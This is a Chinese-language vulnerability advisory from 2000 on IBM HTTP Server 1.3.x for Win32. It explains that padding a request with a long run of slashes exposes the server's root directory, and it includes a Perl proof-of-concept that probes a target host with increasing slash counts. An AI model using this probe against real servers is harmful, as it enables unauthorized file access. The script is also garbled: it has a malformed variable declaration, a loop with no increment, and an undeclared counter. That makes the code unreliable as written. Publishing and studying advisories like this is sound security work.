IBM HTTP Server 根目录访问漏洞

发布日期：2000-06-02
更新日期：2000-06-03

受影响系统：

IBM HTTP Server 1.3.6.2 win32
IBM HTTP Server 1.3.3 win32

描述：

---

特定数目的'/'附加在一个http请求之后，就可以访问www服务器的根目录以及所有子
目录。具体需要多少'/'，根据不同的版本和配置而不同。对于
HTTP Server 1.3.6.2 (win32) ，如果http请求后面附加了211个'/'，就可以访问到
根目录。

<* 来源： Marek Roy marek_roy@hotmail.com
H D Moore <hdm@secureaustin.com>
*>


测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

H D Moore <hdm@secureaustin.com> 提供了一个简单的perl脚本以确定究竟需要多少个'/' :

#!/usr/bin/perl

use LWP::Simple;
use strict;

my $host = shift() || die "usage: $ARGV[0] [hostname]";
my $cnt;
my $data;
my $odata;
my $;

$odata = get("http://$host/");
if ($odata eq "")
{
die "no response from server: $host\n";
}
for ($i = 2; $i < 4096; $i )
{
print "Trying $i...\n";
$data = get("http://$host" . ("/" x $i));
if ($data ne $odata)
{
print "/ = $i\n\n$data\n\n";
exit;
}
}



建议：

---

暂无

文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!